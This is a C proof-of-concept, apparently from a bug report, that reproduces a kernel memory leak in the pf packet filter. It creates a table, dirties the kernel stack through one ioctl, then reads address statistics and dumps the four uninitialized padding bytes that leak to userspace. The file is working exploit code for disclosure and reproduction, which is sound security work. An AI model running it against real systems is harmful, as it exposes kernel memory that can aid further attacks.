DF-3338 / astats_padleak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 | /* * DF-3338 - pfr_get_astats()/PFRW_GET_ASTATS copies a stack struct * pfr_astats to userspace without initializing the 4 alignment-pad bytes * between pfras_a (20 bytes) and pfras_packets[] (8-byte aligned). * * Root cause: sys/net/pf/pf_table.c:1058-1081 * struct pfr_astats as; <-- stack, uninitialized * pfr_copyout_addr(&as.pfras_a, ke); <-- bzero's only 20 bytes * ... packets/bytes/tzero written ... * COPYOUT(&as, w->pfrw_astats, sizeof(as)); <-- leaks pad bytes 20..23 * * Requires root (/dev/pf 0600). */ #include <sys/types.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <net/if.h> #include <net/pf/pfvar.h> #define NADDR 8 static void hexdump_entry(const char *tag, struct pfr_astats *as, int idx) { unsigned char *p = (unsigned char *)&as[idx]; printf("%s[%d] pad(20..23)=%02x%02x%02x%02x first16=%02x%02x%02x%02x" " a=[af=%d net=%d not=%d fb=%d]\n", tag, idx, p[20], p[21], p[22], p[23], p[24], p[25], p[26], p[27], as[idx].pfras_a.pfra_af, as[idx].pfras_a.pfra_net, as[idx].pfras_a.pfra_not, as[idx].pfras_a.pfra_fback); } int main(void) { struct { struct pfioc_table io; struct pfr_table t[1]; } ct; struct { struct pfioc_table io; struct pfr_addr a[NADDR]; } ad; struct { struct pfioc_table io; struct pfr_astats as[NADDR]; } st; int fd, i, round, nonzero = 0; fd = open("/dev/pf", O_RDWR); if (fd < 0) { printf("open /dev/pf: %s (kldload pf; run as root)\n", strerror(errno)); return (1); } /* create table "padlk" */ memset(&ct, 0, sizeof(ct)); strlcpy(ct.t[0].pfrt_name, "padlk", sizeof(ct.t[0].pfrt_name)); ct.io.pfrio_buffer = ct.t; ct.io.pfrio_esize = sizeof(struct pfr_table); ct.io.pfrio_size = 1; if (ioctl(fd, DIOCRADDTABLES, &ct.io)) { printf("DIOCRADDTABLES: %s\n", strerror(errno)); return (1); } /* add NADDR host addresses 10.66.0.1..8 */ memset(&ad, 0, sizeof(ad)); for (i = 0; i < NADDR; i++) { ad.a[i].pfra_af = AF_INET; ad.a[i].pfra_net = 32; ad.a[i].pfra_ip4addr.s_addr = htonl(0x0a420000 | (i + 1)); } ad.io.pfrio_table = ct.t[0]; ad.io.pfrio_buffer = ad.a; ad.io.pfrio_esize = sizeof(struct pfr_addr); ad.io.pfrio_size = NADDR; if (ioctl(fd, DIOCRADDADDRS, &ad.io)) { printf("DIOCRADDADDRS: %s\n", strerror(errno)); return (1); } /* * Repeat: first dirty the kernel stack with a deep ioctl * (DIOCRTSTADDRS walks/copyouts per element), then read astats * and inspect the pad bytes. */ for (round = 0; round < 12; round++) { memset(&st, 0, sizeof(st)); st.io.pfrio_table = ct.t[0]; st.io.pfrio_buffer = st.as; st.io.pfrio_esize = sizeof(struct pfr_astats); st.io.pfrio_size = NADDR; if (ioctl(fd, DIOCRTSTADDRS, &st.io) && errno != EFAULT) { /* just stack dirt; ignore errors */ } if (ioctl(fd, DIOCRGETASTATS, &st.io)) { printf("round %d: DIOCRGETASTATS: %s\n", round, strerror(errno)); return (1); } for (i = 0; i < NADDR; i++) { unsigned char *p = (unsigned char *)&st.as[i]; if (p[20] | p[21] | p[22] | p[23]) nonzero++; if (round < 4 || (p[20] | p[21] | p[22] | p[23])) hexdump_entry("astats", st.as, i); } } printf("pad bytes non-zero in %d of %d entries over 12 rounds\n", nonzero, 12 * NADDR); return (0); } |